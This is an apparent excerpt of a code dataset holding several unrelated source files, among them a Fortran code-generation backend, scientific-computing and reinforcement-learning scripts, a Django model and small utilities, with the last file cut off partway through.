output anything.\n stop = \"\"\n else:\n stop = self._visit(node.stop)\n result = \"{0}:{1}\".format(start, stop)\n\n if isinstance(node.step, Literal) and \\\n node.step.datatype.intrinsic == ScalarType.Intrinsic.INTEGER and \\\n node.step.value == \"1\":\n # Step is 1. This is the default in Fortran so no need to\n # output any text.\n pass\n else:\n step = self._visit(node.step)\n result += \":{0}\".format(step)\n return result\n\n # pylint: disable=no-self-use\n def literal_node(self, node):\n '''This method is called when a Literal instance is found in the PSyIR\n tree.\n\n :param node: a Literal PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.Literal`\n\n :returns: the Fortran code for the literal.\n :rtype: str\n\n '''\n if node.datatype.intrinsic == ScalarType.Intrinsic.BOOLEAN:\n # Booleans need to be converted to Fortran format\n result = '.' + node.value + '.'\n elif node.datatype.intrinsic == ScalarType.Intrinsic.CHARACTER:\n # Need to take care with which quotation symbol to use since a\n # character string may include quotation marks, e.g. a format\n # specifier: \"('hello',3A)\". The outermost quotation marks are\n # not stored so we have to decide whether to use ' or \".\n if \"'\" not in node.value:\n # No single quotes in the string so use those\n quote_symbol = \"'\"\n else:\n # There are single quotes in the string so we use double\n # quotes (after verifying that there aren't both single *and*\n # double quotes in the string).\n if '\"' in node.value:\n raise NotImplementedError(\n \"Character literals containing both single and double \"\n \"quotes are not supported but found >>{0}<<\".format(\n node.value))\n quote_symbol = '\"'\n result = quote_symbol + \"{0}\".format(node.value) + quote_symbol\n else:\n result = node.value\n precision = node.datatype.precision\n if isinstance(precision, DataSymbol):\n # A KIND variable has been specified\n if node.datatype.intrinsic == ScalarType.Intrinsic.CHARACTER:\n result = \"{0}_{1}\".format(precision.name, result)\n else:\n result = \"{0}_{1}\".format(result, precision.name)\n if isinstance(precision, int):\n # A KIND value has been specified\n if node.datatype.intrinsic == ScalarType.Intrinsic.CHARACTER:\n result = \"{0}_{1}\".format(precision, result)\n else:\n result = \"{0}_{1}\".format(result, precision)\n return result\n\n # pylint: enable=no-self-use\n def ifblock_node(self, node):\n '''This method is called when an IfBlock instance is found in the\n PSyIR tree.\n\n :param node: an IfBlock PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.IfBlock`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n '''\n condition = self._visit(node.children[0])\n\n self._depth += 1\n if_body = \"\"\n for child in node.if_body:\n if_body += self._visit(child)\n else_body = \"\"\n # node.else_body is None if there is no else clause.\n if node.else_body:\n for child in node.else_body:\n else_body += self._visit(child)\n self._depth -= 1\n\n if else_body:\n result = (\n \"{0}if ({1}) then\\n\"\n \"{2}\"\n \"{0}else\\n\"\n \"{3}\"\n \"{0}end if\\n\"\n \"\".format(self._nindent, condition, if_body, else_body))\n else:\n result = (\n \"{0}if ({1}) then\\n\"\n \"{2}\"\n \"{0}end if\\n\"\n \"\".format(self._nindent, condition, if_body))\n return result\n\n def loop_node(self, node):\n '''This method is called when a Loop instance is found in the\n PSyIR tree.\n\n :param node: a Loop PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.Loop`\n\n :returns: the loop node converted into a (language specific) string.\n :rtype: str\n\n '''\n start = self._visit(node.start_expr)\n stop = self._visit(node.stop_expr)\n step = self._visit(node.step_expr)\n variable_name = node.variable.name\n\n self._depth += 1\n body = \"\"\n for child in node.loop_body:\n body += self._visit(child)\n self._depth -= 1\n\n return \"{0}do {1} = {2}, {3}, {4}\\n\"\\\n \"{5}\"\\\n \"{0}enddo\\n\".format(self._nindent, variable_name,\n start, stop, step, body)\n\n def unaryoperation_node(self, node):\n '''This method is called when a UnaryOperation instance is found in\n the PSyIR tree.\n\n :param node: a UnaryOperation PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.UnaryOperation`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n :raises VisitorError: if an unexpected Unary op is encountered.\n\n '''\n content = self._visit(node.children[0])\n try:\n fort_oper = get_fortran_operator(node.operator)\n if is_fortran_intrinsic(fort_oper):\n # This is a unary intrinsic function.\n return \"{0}({1})\".format(fort_oper, content)\n # It's not an intrinsic function so we need to consider the\n # parent node. If that is a UnaryOperation or a BinaryOperation\n # such as '-' or '**' then we need parentheses. This ensures we\n # don't generate invalid Fortran such as 'a ** -b' or 'a - -b'.\n parent = node.parent\n if isinstance(parent, UnaryOperation):\n parent_fort_oper = get_fortran_operator(parent.operator)\n if not is_fortran_intrinsic(parent_fort_oper):\n return \"({0}{1})\".format(fort_oper, content)\n if isinstance(parent, BinaryOperation):\n parent_fort_oper = get_fortran_operator(parent.operator)\n if (not is_fortran_intrinsic(parent_fort_oper) and\n node is parent.children[1]):\n return \"({0}{1})\".format(fort_oper, content)\n return \"{0}{1}\".format(fort_oper, content)\n\n except KeyError as error:\n raise six.raise_from(VisitorError(\"Unexpected unary op '{0}'.\"\n .format(node.operator)), error)\n\n def return_node(self, _):\n '''This method is called when a Return instance is found in\n the PSyIR tree.\n\n :param node: a Return PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.Return`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n '''\n return \"{0}return\\n\".format(self._nindent)\n\n def codeblock_node(self, node):\n '''This method is called when a CodeBlock instance is found in the\n PSyIR tree. It returns the content of the CodeBlock as a\n Fortran string, indenting as appropriate.\n\n :param node: a CodeBlock PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.CodeBlock`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n '''\n result = \"\"\n if node.structure == CodeBlock.Structure.STATEMENT:\n # indent and newlines required\n for ast_node in node.get_ast_nodes:\n # Using tofortran() ensures we get any label associated\n # with this statement.\n result += \"{0}{1}\\n\".format(self._nindent,\n ast_node.tofortran())\n elif node.structure == CodeBlock.Structure.EXPRESSION:\n for ast_node in node.get_ast_nodes:\n result += str(ast_node)\n else:\n raise VisitorError(\n (\"Unsupported CodeBlock Structure '{0}' found.\"\n \"\".format(node.structure)))\n return result\n\n def nemokern_node(self, node):\n '''NEMO kernels are a group of nodes collected into a schedule\n so simply call the nodes in the schedule.\n\n :param node: a NemoKern PSyIR node.\n :type node: :py:class:`psyclone.nemo.NemoKern`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n '''\n result = \"\"\n schedule = node.get_kernel_schedule()\n for child in schedule.children:\n result += self._visit(child)\n return result\n\n def regiondirective_node(self, node):\n '''This method is called when a RegionDirective instance is found in\n the PSyIR tree. It returns the opening and closing directives, and\n the statements in between as a string.\n\n :param node: a RegionDirective PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.RegionDirective`\n\n :returns: the Fortran code for this node.\n :rtype: str\n\n '''\n result_list = [\"{0}!${1}\\n\".format(self._nindent, node.begin_string())]\n for child in node.dir_body:\n result_list.append(self._visit(child))\n\n end_string = node.end_string()\n if end_string:\n result_list.append(\"{0}!${1}\\n\".format(self._nindent, end_string))\n return \"\".join(result_list)\n\n def standalonedirective_node(self, node):\n '''This method is called when a StandaloneDirective instance is found\n in the PSyIR tree. It returns the directive as a string.\n\n :param node: a StandaloneDirective PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.StandloneDirective`\n\n :returns: the Fortran code for this node.\n :rtype: str\n\n '''\n result_list = [\"{0}!${1}\\n\".format(self._nindent, node.begin_string())]\n\n return \"\".join(result_list)\n\n def call_node(self, node):\n '''Translate the PSyIR call node to Fortran.\n\n :param node: a Call PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.Call`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n '''\n\n result_list = []\n for child in node.children:\n result_list.append(self._visit(child))\n args = \", \".join(result_list)\n return \"{0}call {1}({2})\\n\".format(self._nindent, node.routine.name,\n args)\n","sub_path":"src/psyclone/psyir/backend/fortran.py","file_name":"fortran.py","file_ext":"py","file_size_in_byte":63923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"296998222","text":"# \r\nfrom __future__ import division\r\nimport _config\r\nimport sys, os, fnmatch, datetime, subprocess, pickle\r\nsys.path.append('/home/unix/maxwshen/')\r\nimport numpy as np\r\nfrom collections import defaultdict\r\nfrom mylib import util, compbio\r\nimport pandas as pd\r\n\r\nimport _fitness_from_reads_pt_multi\r\n\r\n# Default params\r\ninp_dir = _config.OUT_PLACE + f'data_multi/'\r\nNAME = util.get_fn(__file__)\r\nout_dir = _config.OUT_PLACE + NAME + '/'\r\nutil.ensure_dir_exists(out_dir)\r\n\r\n\r\n##\r\n# Main\r\n##\r\n@util.time_dec\r\ndef main(argv):\r\n print(NAME)\r\n\r\n modelexp_nm = argv[0]\r\n print(modelexp_nm)\r\n\r\n exp_design = pd.read_csv(_config.DATA_DIR + f'{modelexp_nm}.csv')\r\n hyperparam_cols = [col for col in exp_design.columns if col != 'Name']\r\n\r\n new_out_dir = out_dir + f'{modelexp_nm}/'\r\n util.ensure_dir_exists(new_out_dir)\r\n\r\n print(f'Collating experiments...')\r\n\r\n model_out_dir = _config.OUT_PLACE + f'_fitness_from_reads_pt_multi/{modelexp_nm}/'\r\n num_fails = 0\r\n timer = util.Timer(total = len(exp_design))\r\n for idx, row in exp_design.iterrows():\r\n int_nm = row['Name']\r\n real_nm = row['dataset']\r\n\r\n try:\r\n command = f'cp {model_out_dir}/model_{int_nm}/_final_fitness.csv {new_out_dir}/fitness_{int_nm}.csv'\r\n subprocess.check_output(command, shell = True)\r\n\r\n command = f'cp {model_out_dir}/model_{int_nm}/_final_genotype_matrix.csv {new_out_dir}/genotype_matrix_{int_nm}.csv'\r\n subprocess.check_output(command, shell = True)\r\n except:\r\n num_fails += 1\r\n\r\n timer.update()\r\n\r\n print(f'Collated {len(exp_design)} experiments with {num_fails} failures')\r\n\r\n return\r\n\r\n\r\nif __name__ == '__main__':\r\n if len(sys.argv) > 1:\r\n main(sys.argv[1:])\r\n else:\r\n print(f'Usage: python x.py ')\r\n","sub_path":"tada/src/g_collate_exps.py","file_name":"g_collate_exps.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"63671048","text":"# Copyright (c) Facebook, Inc. and its affiliates.\n# All rights reserved.\n#\n# This source code is licensed under the license found in the\n# LICENSE file in the root directory of this source tree.\n#\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numbers, math\nimport numpy as np\nimport models.model_utils as MU\n\n#### The utils for LK\ndef torch_inverse_batch(deltp):\n # deltp must be [K,2]\n assert deltp.dim() == 3 and deltp.size(1) == 2 and deltp.size(2) == 2, 'The deltp format is not right : {}'.format( deltp.size() )\n a, b, c, d = deltp[:,0,0], deltp[:,0,1], deltp[:,1,0], deltp[:,1,1]\n a = a + np.finfo(float).eps\n d = d + np.finfo(float).eps\n divide = a*d-b*c+np.finfo(float).eps\n inverse = torch.stack([d, -b, -c, a], dim=1) / divide.unsqueeze(1)\n return inverse.view(-1,2,2)\n\n\ndef warp_feature_batch(feature, pts_location, patch_size):\n # feature must be [1,C,H,W] and pts_location must be [Num-Pts, (x,y)]\n _, C, H, W = list(feature.size())\n num_pts = pts_location.size(0)\n assert isinstance(patch_size, int) and feature.size(0) == 1 and pts_location.size(1) == 2, 'The shapes of feature or points are not right : {} vs {}'.format(feature.size(), pts_location.size())\n assert W > 1 and H > 1, 'To guarantee normalization {}, {}'.format(W, H)\n\n def normalize(x, L):\n return -1. + 2. * x / (L-1)\n\n crop_box = torch.cat([pts_location-patch_size, pts_location+patch_size], 1)\n crop_box[:, [0,2]] = normalize(crop_box[:, [0,2]], W)\n crop_box[:, [1,3]] = normalize(crop_box[:, [1,3]], H)\n \n affine_parameter = [(crop_box[:,2]-crop_box[:,0])/2, crop_box[:,0]*0, (crop_box[:,2]+crop_box[:,0])/2,\n crop_box[:,0]*0, (crop_box[:,3]-crop_box[:,1])/2, (crop_box[:,3]+crop_box[:,1])/2]\n #affine_parameter = [(crop_box[:,2]-crop_box[:,0])/2, MU.np2variable(torch.zeros(num_pts),feature.is_cuda,False), (crop_box[:,2]+crop_box[:,0])/2,\n # MU.np2variable(torch.zeros(num_pts),feature.is_cuda,False), (crop_box[:,3]-crop_box[:,1])/2, (crop_box[:,3]+crop_box[:,1])/2]\n theta = torch.stack(affine_parameter, 1).view(num_pts, 2, 3)\n feature = feature.expand(num_pts,C, H, W)\n grid_size = torch.Size([num_pts, 1, 2*patch_size+1, 2*patch_size+1])\n grid = F.affine_grid(theta, grid_size)\n sub_feature = F.grid_sample(feature, grid)\n return sub_feature\n","sub_path":"SBR/lib/lk/basic_utils_batch.py","file_name":"basic_utils_batch.py","file_ext":"py","file_size_in_byte":2332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"383998929","text":"#!/usr/bin/env python\n\nimport colorsys\nimport signal\nimport time\nfrom sys import exit\nimport os\n\ntry:\n from PIL import Image, ImageDraw, ImageFont\nexcept ImportError:\n exit(\"This script requires the pillow module\\nInstall with: sudo pip install pillow\")\n\nimport unicornhathd\n\ndef show(message):\n lines = message.split(\",\")\n\n colours = [tuple([int(n * 255) for n in colorsys.hsv_to_rgb(x/float(len(lines)), 1.0, 1.0)]) for x in range(len(lines))]\n\n\n # Use `fc-list` to show a list of installed fonts on your system,\n # or `ls /usr/share/fonts/` and explore.\n\n # sudo apt install fonts-roboto\n FONT = (\"/usr/share/fonts/truetype/roboto/Roboto-Bold.ttf\", 10)\n\n unicornhathd.rotation(0)\n unicornhathd.brightness(1.0)\n\n\n width, height = unicornhathd.get_shape()\n\n text_x = width\n text_y = 2\n\n\n font_file, font_size = FONT\n\n font = ImageFont.truetype(font_file, font_size)\n\n text_width, text_height = width, 0\n\n for line in lines:\n w, h = font.getsize(line)\n text_width += w + width\n text_height = max(text_height,h)\n\n text_width += width + text_x + 1\n\n image = Image.new(\"RGB\", (text_width,max(16, text_height)), (0,0,0))\n draw = ImageDraw.Draw(image)\n\n offset_left = 0\n\n for index, line in enumerate(lines):\n draw.text((text_x + offset_left, text_y), line, colours[index], font=font)\n\n offset_left += font.getsize(line)[0] + width\n\n for scroll in range(text_width - width):\n for x in range(width):\n for y in range(height):\n pixel = image.getpixel((x+scroll, y))\n r, g, b = [int(n) for n in pixel]\n unicornhathd.set_pixel(width-1-x, y, r, g, b)\n\n unicornhathd.show()\n time.sleep(0.01)\n\n unicornhathd.off()\n return True\n\nif __name__ == '__main__':\n while True:\n show(os.environ.get('MESSAGE'))\n time.sleep(3)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"373196095","text":"import os\nfrom functools import wraps\nimport datetime\n\nconfig = dict(\n email=os.getenv('GMAIL_USER', 'nstest739@gmail.com'),\n passwd_key=os.getenv('GMAIL_PASSWD', 'passwd'),\n)\n\n\ndef screenshot_on_error(test):\n\n @wraps(test)\n def wrapper(*args, **kwargs):\n try:\n test(*args, **kwargs)\n except:\n test_object = args[0]\n screenshot_dir = './screenshots'\n if not os.path.exists(screenshot_dir):\n os.makedirs(screenshot_dir)\n date_string = datetime.datetime.now().strftime('%m%d%y-%H%M%S')\n filename = '{0}/SS-{1}-{2}.png'.format(screenshot_dir, test.__name__, date_string)\n test_object.driver.get_screenshot_as_file(filename)\n raise AssertionError\n return wrapper","sub_path":"autogmailpy/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"149088554","text":"import numpy as np\nimport FCN\nimport tensorflow as tf\nimport FCN_env_vars as EnvVars\n\nproject_Dir = \"weeds\"\n\nFLAGS = tf.flags.FLAGS\ntf.flags.DEFINE_integer(\"batch_size\", \"1\", \"batch size for training\")\ntf.flags.DEFINE_string(\"logs_dir\", EnvVars.logs_dir, \"path to logs directory\")\ntf.flags.DEFINE_string(\"data_dir\", EnvVars.data_dir + \"/\" + project_Dir, \"path to dataset\")\ntf.flags.DEFINE_float(\"learning_rate\", \"1e-4\", \"Learning rate for Adam Optimizer\")\ntf.flags.DEFINE_string(\"model_dir\", EnvVars.data_dir + \"/model_zoo\", \"Path to vgg model mat\")\ntf.flags.DEFINE_bool('debug', \"False\", \"Debug mode: True/ False\")\ntf.flags.DEFINE_string('mode', \"visualize\", \"Mode train/ test/ visualize\")\n\n\ndef main(argv=None):\n # segment = FCN.Segment(False, 672, 380, False)\n # segment.init_network(False)\n\n # segment.close()\n print(\"test\")\n\nif __name__ == \"__main__\":\n tf.app.run()\n","sub_path":"ReclassifyFCNDataset.py","file_name":"ReclassifyFCNDataset.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"20646858","text":"import argparse\n\nfrom rllab.algos.ddpg import DDPG\nfrom rllab.envs.gym_env import GymEnv\nfrom rllab.envs.normalized_env import normalize\nfrom rllab.misc.instrument import run_experiment_lite\nfrom rllab.exploration_strategies.ou_strategy import OUStrategy\nfrom rllab.policies.deterministic_mlp_policy import DeterministicMLPPolicy\nfrom rllab.q_functions.continuous_mlp_q_function import ContinuousMLPQFunction\n\ntry:\n import seaborn as sns\n sns.set()\nexcept ImportError:\n print('\\nConsider installing seaborn (pip install seaborn) for better plotting!')\n\n# Parsing arguments\nparser = argparse.ArgumentParser()\nparser.add_argument(\"env\", help=\"The environment name from OpenAIGym environments\")\nparser.add_argument(\"--reward\", default='gaussian', help=\"The reward function from OpenAIGym diabetes environment\")\nparser.add_argument(\"--n_itr\", default=200, type=int)\nparser.add_argument(\"--batch_size\", default=5000)\nparser.add_argument(\"--gamma\", default=.99)\nparser.add_argument(\"--hidden_sizes\", default=3, type=int)\nparser.add_argument(\"--data_dir\", default=\"./data_ddpg/\")\nparser.add_argument(\"--scale_reward\", default=0.1)\nparser.add_argument(\"--init_std\", default=1)\n\nargs = parser.parse_args()\n\ndef run_task(*_):\n env = normalize(GymEnv(args.env, force_reset=True, record_video=False))\n env.wrapped_env.env.env.reward_flag = args.reward\n\n if args.hidden_sizes == 0:\n hidden_sizes=(8,)\n elif args.hidden_sizes == 1:\n hidden_sizes=(32, 32)\n elif args.hidden_sizes == 2:\n hidden_sizes=(100, 50, 25)\n elif args.hidden_sizes == 3:\n hidden_sizes=(400, 300)\n\n policy = DeterministicMLPPolicy(\n env_spec=env.spec,\n # The neural network policy should have two hidden layers, each with 32 hidden units.\n hidden_sizes=hidden_sizes\n )\n\n es = OUStrategy(env_spec=env.spec)\n\n qf = ContinuousMLPQFunction(env_spec=env.spec)\n\n algo = DDPG(\n env=env,\n policy=policy,\n es=es,\n qf=qf,\n batch_size=64,\n max_path_length=95,\n epoch_length=args.batch_size,\n min_pool_size=10000,\n n_epochs=args.n_itr,\n discount=args.gamma,\n scale_reward=args.scale_reward,\n qf_learning_rate=1e-3,\n policy_learning_rate=1e-4,\n eval_samples=95,\n # Uncomment both lines (this and the plot parameter below) to enable plotting\n # plot=True,\n )\n algo.train()\n\nrun_experiment_lite(\n run_task,\n # algo.train(),\n log_dir=args.data_dir,\n # n_parallel=2,\n n_parallel=1,\n # Only keep the snapshot parameters for the last iteration\n snapshot_mode=\"last\",\n # Specifies the seed for the experiment. If this is not provided, a random seed\n # will be used\n exp_prefix=\"DDPG\" + str(args.hidden_sizes),\n # exp_prefix=data_dir\n plot=False\n)\n\n","sub_path":"diabetes_experiments/command_line_functions/run_ddpg_no_stub.py","file_name":"run_ddpg_no_stub.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"478419466","text":"# coding=utf-8\n\"\"\"Download session model definition.\n\n\"\"\"\nimport json\nimport os\nimport uuid\nfrom datetime import datetime\nfrom django.db import models\nfrom django.dispatch import receiver\n\n\nclass DownloadSession(models.Model):\n \"\"\"Download session model\n \"\"\"\n token = models.UUIDField(\n default=uuid.uuid4,\n editable=False,\n null=True\n )\n\n filters = models.TextField(\n blank=True,\n null=True\n )\n\n start_at = models.DateTimeField(\n default=datetime.now\n )\n\n progress = models.IntegerField(\n default=0\n )\n\n notes = models.TextField(\n blank=True,\n null=True\n )\n\n file = models.FileField(\n blank=True,\n null=True\n )\n\n obsolete = models.BooleanField(\n default=False\n )\n\n # noinspection PyClassicStyleClass\n class Meta:\n \"\"\"Meta class for project.\"\"\"\n verbose_name_plural = 'Download Sessions'\n verbose_name = 'Download Session'\n ordering = ('-start_at',)\n db_table = 'download_session'\n\n def __str__(self):\n return str(self.token)\n\n def update_progress(self, progress=0, notes=None):\n \"\"\"Update progress for current upload session\n\n :param progress: Current progress\n :type progress: int\n\n :param notes: Additional notes\n :type notes: dict\n \"\"\"\n self.progress = progress\n self.notes = notes\n self.save()\n\n\nclass DownloadSessionUser(models.Model):\n \"\"\"Download session user model\n \"\"\"\n session = models.ForeignKey(\n DownloadSession, on_delete=models.CASCADE\n )\n\n user = models.IntegerField(\n null=True,\n blank=True\n )\n\n # noinspection PyClassicStyleClass\n class Meta:\n \"\"\"Meta class for project.\"\"\"\n verbose_name_plural = 'Download Sessions User'\n verbose_name = 'Download Session User'\n db_table = 'download_session_user'\n\n def get_info(self):\n return '\\n;'.join([\n '{} : {}'.format(key, value) for key, value in json.loads(self.session.filters).items()\n ])\n\n\n@receiver(models.signals.post_delete, sender=DownloadSession)\ndef download_session_deleted(sender, instance, **kwargs):\n \"\"\"\n \"\"\"\n if instance.file:\n if os.path.isfile(instance.file.path):\n os.remove(instance.file.path)\n","sub_path":"models/download_session.py","file_name":"download_session.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"473466071","text":"import sys\n\ndegree_const = 111 # 1 degree in longitutde/altitude equals 111 kilometers\ndis_thr = 1.5 # distance (in kilometer) looking around\ndis_max = 4\ncab_nearby = 0.5\n\ndef quick_sort(a_list):\n\tquick_sort_helper(a_list, 0, len(a_list) - 1)\n\ndef quick_sort_helper(a_list, first, last):\n\tif first < last:\n\t\tsplit_point = partition(a_list, first, last)\n\t\tquick_sort_helper(a_list, first, split_point - 1)\n\t\tquick_sort_helper(a_list, split_point + 1, last)\n\ndef partition(a_list, first, last):\n\tpivot_value = a_list[first]\n\tleft_mark = first + 1\n\tright_mark = last\n\tdone = False\n\twhile not done:\n\t\twhile left_mark <= right_mark and a_list[left_mark][2][2] <= pivot_value[2][2]:\n\t\t\tleft_mark += 1\n\t\twhile a_list[right_mark][2][2] >= pivot_value[2][2] and right_mark >= left_mark:\n\t\t\tright_mark -= 1\n\t\tif right_mark < left_mark:\n\t\t\tdone = True\n\t\telse:\n\t\t\ttemp = a_list[left_mark]\n\t\t\ta_list[left_mark] = a_list[right_mark]\n\t\t\ta_list[right_mark] = temp\n\t\n\ttemp = a_list[first]\n\ta_list[first] = a_list[right_mark]\n\ta_list[right_mark] = temp\n\treturn right_mark\n\ncabList = []\nraw = sys.stdin.read().replace('inf','-1')\nlines = raw.split('\\n')\ndel lines[-1]\ncabList = [eval(i) for i in lines]\nfor i in cabList:\n\ti[2][2] = float(i[2][2])\nquick_sort(cabList)\nfor i in cabList:\n\tif (i[1] <= dis_max and i[2][2] != -1 and i[2][2] < 1):\n\t\tprint(i)","sub_path":"Project/Codes/MachineLearning/sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"543080958","text":"import pandas as pd\nimport json\n\n\ndf = pd.read_csv(\"Questions Scattergories.csv\", sep=\";\")\n\nliste_1_to_12 = [i for i in range(1, 13)]\ndico_cartes = {str(i):[] for i in range(1, 13)}\n\nfor i, j in enumerate(df.Carte):\n for key, values in dico_cartes.items():\n if str(j) == key:\n values.append(df.Question[i])\n\nprint(dico_cartes)\n\nwith open(\"Questions_Scattergories.json\", \"w\") as outfile:\n json.dump(dico_cartes, outfile, indent=4, ensure_ascii=False)","sub_path":"fichiers d'origine/csv_to_json.py","file_name":"csv_to_json.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"26606935","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/local/lib/python2.7/dist-packages/gmisclib/gpk_hdr.py\n# Compiled at: 2009-03-11 19:25:28\nimport os, re, die\n\ndef uq(s, qc):\n if qc and len(s) >= 2 and s[0] == qc and s[(-1)] == qc:\n return s[1:-1]\n return s\n\n\nclass hdr:\n _bad = re.compile('[^a-zA-Z_0-9.-]')\n\n def __init__(self, fn):\n self.fn = fn\n self.data = None\n self.modified = 0\n return\n\n def has_key(self, key):\n if self.data is None:\n self.read()\n return self.data.has_key(key)\n\n def items(self):\n if self.data is None:\n self.read()\n return self.data.items()\n\n def get(self, key, default=None, qc=None):\n if self.data is None:\n self.read()\n o = self.data.get(key, default)\n if qc:\n return uq(o, qc)\n else:\n return o\n\n def set(self, key, value, qc=None):\n if self.data is None:\n self.read()\n if self.has_key(key):\n self.data['#%s' % key] = self.data[key]\n if qc:\n self.data[key] = '%s%s%s' % (qc, value, qc)\n else:\n self.data[key] = value\n self.modified += 1\n return\n\n def __del__(self):\n self.close()\n\n def close(self):\n if not self.modified:\n return\n else:\n if self.data is None:\n return\n self.write()\n return\n\n def write(self):\n fd = open('%s.tmp' % self.fn, 'w')\n tmp = self.data.items()\n tmp.sort()\n for k, v in tmp:\n if self._bad.search(k) and not k.startswith('#'):\n die.warn('Bad key will be ignored: %s' % k)\n else:\n fd.writelines('%s=%s\\n' % (k, v))\n\n fd.flush()\n os.fsync(fd.fileno())\n fd.close()\n if os.access(self.fn, os.R_OK):\n os.rename(self.fn, '%s.bak' % self.fn)\n os.rename('%s.tmp' % self.fn, self.fn)\n self.modified = 0\n\n def read(self):\n self.data = {'FILENAME': self.fn}\n die.note('file', self.fn)\n n = 1\n for x in open(self.fn, 'r'):\n die.note('line', n)\n x = x.strip()\n if x == '':\n n += 1\n continue\n try:\n k, v = x.split('=', 1)\n self.data[k] = v\n except:\n if not x.startswith('#'):\n raise\n\n n += 1\n\n\nif __name__ == '__main__':\n import sys\n x = hdr(sys.argv[1])\n x.set('TEST', 1, qc=1)\n x.write()","sub_path":"pycfiles/gmisclib-0.73.0.linux-x86_64.tar/gpk_hdr.py","file_name":"gpk_hdr.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"264151272","text":"from __future__ import absolute_import, division, print_function, \\\n unicode_literals\n\nimport os\nimport xarray\nimport numpy\n\nfrom ..shared.analysis_task import AnalysisTask\n\nfrom ..shared.constants import constants\n\nfrom ..shared.plot.plotting import timeseries_analysis_plot\n\nfrom ..shared.io import open_mpas_dataset, write_netcdf\n\nfrom ..shared.io.utility import build_config_full_path, make_directories\n\nfrom ..shared.html import write_image_xml\n\nimport csv\n\n\nclass TimeSeriesAntarcticMelt(AnalysisTask):\n \"\"\"\n Performs analysis of the time-series output of Antarctic sub-ice-shelf\n melt rates.\n\n Attributes\n ----------\n\n mpasTimeSeriesTask : ``MpasTimeSeriesTask``\n The task that extracts the time series from MPAS monthly output\n\n refConfig : ``MpasAnalysisConfigParser``\n The configuration options for the reference run (if any)\n\n Authors\n -------\n Xylar Asay-Davis, Stephen Price\n \"\"\"\n\n def __init__(self, config, mpasTimeSeriesTask, refConfig=None):\n # {{{\n \"\"\"\n Construct the analysis task.\n\n Parameters\n ----------\n config : ``MpasAnalysisConfigParser``\n Configuration options\n\n mpasTimeSeriesTask : ``MpasTimeSeriesTask``\n The task that extracts the time series from MPAS monthly output\n\n refConfig : ``MpasAnalysisConfigParser``, optional\n Configuration options for a reference run (if any)\n\n Authors\n -------\n Xylar Asay-Davis\n \"\"\"\n # first, call the constructor from the base class (AnalysisTask)\n super(TimeSeriesAntarcticMelt, self).__init__(\n config=config,\n taskName='timeSeriesAntarcticMelt',\n componentName='ocean',\n tags=['timeSeries', 'melt', 'landIceCavities'])\n\n self.mpasTimeSeriesTask = mpasTimeSeriesTask\n\n self.run_after(mpasTimeSeriesTask)\n self.refConfig = refConfig\n\n # }}}\n\n def setup_and_check(self): # {{{\n \"\"\"\n Perform steps to set up the analysis and check for errors in the setup.\n\n Raises\n ------\n IOError\n If files are not present\n\n Authors\n -------\n Xylar Asay-Davis\n \"\"\"\n # first, call setup_and_check from the base class (AnalysisTask),\n # which will perform some common setup, including storing:\n # self.inDirectory, self.plotsDirectory, self.namelist, self.streams\n # self.calendar\n super(TimeSeriesAntarcticMelt, self).setup_and_check()\n\n self.check_analysis_enabled(\n analysisOptionName='config_am_timeseriesstatsmonthly_enable',\n raiseException=True)\n\n config = self.config\n\n landIceFluxMode = self.namelist.get('config_land_ice_flux_mode')\n if landIceFluxMode not in ['standalone', 'coupled']:\n raise ValueError('*** timeSeriesAntarcticMelt requires '\n 'config_land_ice_flux_mode \\n'\n ' to be standalone or coupled. Otherwise, no '\n 'melt rates are available \\n'\n ' for plotting.')\n\n mpasMeshName = config.get('input', 'mpasMeshName')\n regionMaskDirectory = config.get('regions', 'regionMaskDirectory')\n\n self.regionMaskFileName = '{}/{}_iceShelfMasks.nc'.format(\n regionMaskDirectory, mpasMeshName)\n\n if not os.path.exists(self.regionMaskFileName):\n raise IOError('Regional masking file {} for Antarctica melt-rate '\n 'calculation does not exist'.format(\n self.regionMaskFileName))\n\n # Load mesh related variables\n try:\n 